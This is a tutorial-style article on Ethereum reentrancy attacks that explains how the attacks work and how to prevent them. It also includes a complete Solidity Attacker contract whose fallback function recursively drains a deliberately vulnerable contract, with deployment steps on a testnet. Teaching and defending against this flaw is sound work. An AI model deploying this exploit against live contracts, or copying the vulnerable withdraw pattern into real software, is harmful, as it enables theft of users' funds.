Ethereum smart contracts are programs deployed as decentralized applications running on the blockchain network. The smart contract is the foundation for many applications such as cryptocurrency, gaming, banking, e-commerce, etc. However, the evolution of smart contracts also comes with security vulnerability and exploit methods. One of the most common exploit methods in a smart contract is reentrancy attack. And one of the most famous reentrancy attacks ever recorded is the DAO attack. Hackers stole about 3.6 million ether, equivalent to more than 60 million US dollars.

How does reentrancy attack work?

A reentrancy attack may occur when a contract makes an external call to another untrusted contract. Then the untrusted contract attempts to drain funds from the original contract by utilizing a recursive call back to the original contract. If the contract fails to update its state before sending funds, this will create a chance for the attacker to continuously call the function withdraw() to drain the contract’s funds.
A simple example is when function withdraw() of contract A performs sending funds before updating the user balance. When contract B receives funds because A hasn’t updated B’s balance, B can trigger the fallback function to continuously call function withdraw() of contract A to drain funds.

Reentrancy on a single function

In this type of reentrancy attack, one function will be called repeatedly before the first call is completed. Example:

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        (bool success, ) = payable(msg.sender).call{value:amount}(""); // At this line, user's balance has not been updated
        require(success);  
        balances[msg.sender] = 0;
    }

In the code above, because user’s balance has not been set to zero until sending funds to the user completes. So when the attacker receives funds, since his balance has not yet been assigned to zero, he can trigger the fallback function to continue calling function withdraw() successfully without any limitation.

Cross-function reentrancy

Reentrancy attack can also be performed on two different functions that share the same state. Function withdraw() is still like the code above, but this contract has one more transfer() function:

function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        (bool success,) = msg.sender.call{value:amount}("");// At this line, user's balance has not been updated
        require(success);
        balances[msg.sender] = 0;
    }
 
    function transfer(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[to] += amount;
        balances[msg.sender] -= amount;
    }

In this case, the attacker can call function transfer() while receiving funds from calling function withdraw(). Furthermore, because in function withdraw(), his balance has not been set to zero, he can continue to transfer funds to his account by function transfer().

In the example above, both function transfer() and withdraw() are in the same contract, but the same error may occur in multiple contracts if they share the same state.

How to prevent a reentrancy attack?

Using send() or transfer() to transfer funds instead of call{value}()

Solidity supports three ways to transfer funds. These methods are transfer(), send() and call{value}(). Although using send() or transfer(), attacker can still call external code, but function send() and transfer() limit the code execution to 2300gas, just enough to log and event.

 function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        bool success = payable(msg.sender).send(amount);
        require(success);
        balances[msg.sender] = 0;
}

Complete internal work before calling external functions

To avoid reentrancy attack, you must complete all internal work (e.g., update the user’s balance) before calling the external function. In the following code, this function update user’s balance to zero before the call function send() to transfer funds:

function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        balances[msg.sender] = 0;
        // Complete all internal work before calling external functions
        bool success = payable(msg.sender).send(amount);
        require(success);        
}

Not only avoid calling the external function too soon, but you also need to avoid calling functions that call the external function too soon.

  	mapping(address => uint256) public balances;
    address[] public users;
    mapping(address => bool) public received;
    uint256 public bounty;
 
    function sendReward() internal {
        bool success = payable(msg.sender).send(bounty);
        require(success);
    }
 
    function sendDistribute() public {
	  // Vulnerable
        for(uint i = 0; i < users.length; i++){
            address user = users[i];
            if(!received[user]){
            sendReward();// Call an internal function
           
            uint256 amount = balances[user];
            balances[user] = 0;
            received[user] = true;
            bool success = payable(user).send(amount);
            require(success);
            }
        }
    }

In the example above, although the function sendDistribute() makes transfers funds after changing the user’s balance, the call to function sendReward() can also make the function sendDistribute() vulnerable to reentrancy attack. Because function sendReward() also makes transfers funds, so you should be careful with calling this function.

To avoid this error, you also need to be careful about calling internal functions.

    function sendReward() internal {
        bool success = payable(msg.sender).send(bounty);
        require(success);
    }

    function sendDistribute() public {
 	  // Fixed
        for(uint i = 0; i < users.length; i++){
            address user = users[i];
            if(!received[user]){
            uint256 amount = balances[user];
            balances[user] = 0;
            received[user] = true;
            bool success = payable(user).send(amount);
            require(success);
            sendReward();	// Call an internal function
            }
        }
    }  

Use mutex

Another way to prevent reentrancy attack is using a mutex. This method allows you to lock some function states.

    bool private lockWithdraw;
    function withdraw() public {
        require(lockWithdraw == false);
 
        lockWithdraw = true;	// Use mutex to lock function state
 
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        balances[msg.sender] = 0;
        bool success = payable(msg.sender).send(amount);
        require(success);      

        lockWithdraw = false;  // Release lock
    }

In the example above, if an attacker tries to call function withdraw() before the first call is completed, lockWithdraw will prevent the attacker from doing this. However, you should be careful with the use of mutex. If you use mutex inappropriately, this may lead to the risk of deadlock and livelock.

The demo attack on the testnet

In this demo, we will use Remix IDE. Here is the code of two smart contracts we will use to demo this attack:

// SPDX-License-Identifier: GPL-3.0
 
pragma solidity >=0.7.0 <0.9.0;
 
contract VulnerableContract{
    mapping(address => uint256) private balances;
 
    function deposit() public payable{
        balances[msg.sender] += msg.value;
    }
 
    function balanceOf(address user) public view returns(uint256) {
        return balances[user];
    }
 
    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0);
        (bool success, ) = payable(msg.sender).call{value:amount}(""); // At this line, user's balance has not been updated
        require(success);  
        balances[msg.sender] = 0;
    }
 
    function transfer(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[to] += amount;
        balances[msg.sender] -= amount;
    }
 
    function getContractBalance() public view returns(uint256) {
        return address(this).balance;
    }
}
 
contract Attacker{
    VulnerableContract public victim;
    uint256 public amount;
    constructor(address _victim) {
        victim = VulnerableContract(_victim);
    }
 
    function attack() public payable{
        require(msg.value > 0);
        amount = msg.value;
        victim.deposit{value:msg.value}();
        victim.withdraw();
    }
 
    receive () external payable {
        // Attacker uses fallback function to repeatedly call function withdraw()
        if(address(victim).balance >= amount){
            victim.withdraw();
        }
    }
 
    function getContractBalance() public view returns(uint256) {
        return address(this).balance;
    }
 
    function withdraw() public {
        (bool success, ) = payable(msg.sender).call{value:getContractBalance()}("");
        require(success);
    }
}

Deploy the vulnerable contract

To deploy the vulnerable contract, we do this in three steps:

  1. Switch network of Metamask to Rinkeby Test Network.
  2. Change environment of Remix to Injected Web3.
  3. Choose VulnerableContract to deploy.


We need to deposit funds into this contract after it has been deployed by the following steps:

  1. Enter the amount of ETH you want to deposit.
  2. Use function deposit() to deposit money to VulnerableContract.

VulnerableContract's balance is 1 ETH after deposit:


Deploy the attack contract

We do the same steps while deploying the vulnerable contract to deploy the attack contract. But you need to enter address of VulnerableContract, in this demo, VulnerableContract’s address is 0xB238cE76a18B817F8db4Aa2089B97D9D0C979d91.

After deployment, the Attacker’s balance is zero:

Exploit VulnerableContract

To exploit VulnerableContract, we do the following two steps:

  1. Enter msg.value in the Value box.
  2. Call function attack().

After transaction success, Attacker’s balance is 1.5 ETH, and VulnerableContract’s balance is 0 ETH.

If you want to track the history of this attack, there are addresses of two contracts I deployed in this example:

Make smart contracts safer

We’ve explained what is reentrancy attack and offered some methods to prevent it simply. We started by explaining simply the mechanism of the reentrancy attack. After that, through the examples, two types of reentrancy attacks were presented and how hackers use the fallback function to exploit vulnerabilities in the smart contract. And then, we use Remix IDE to demo the attack on the testnet. At last, We proceed to cover some methods to prevent reentrancy attacks. Now, we hope you can avoid those errors when programming smart contracts and apply these methods to make your code safer and more secure.

References

[1] Hack Solidity: Reentrancy Attack, hackernoon.com, accessed 10th March 2022

[2] Smart Contract Security: Part 1 Reentrancy Attacks, hackernoon.com, accessed 10th March 2022

[3] Reentrancy Attack - A demo on Rinkeby Test Network, DeappSec Blog, accessed 10th March 2022

[4] Lines of code worth 60 million dollars in The DAO, Ryuu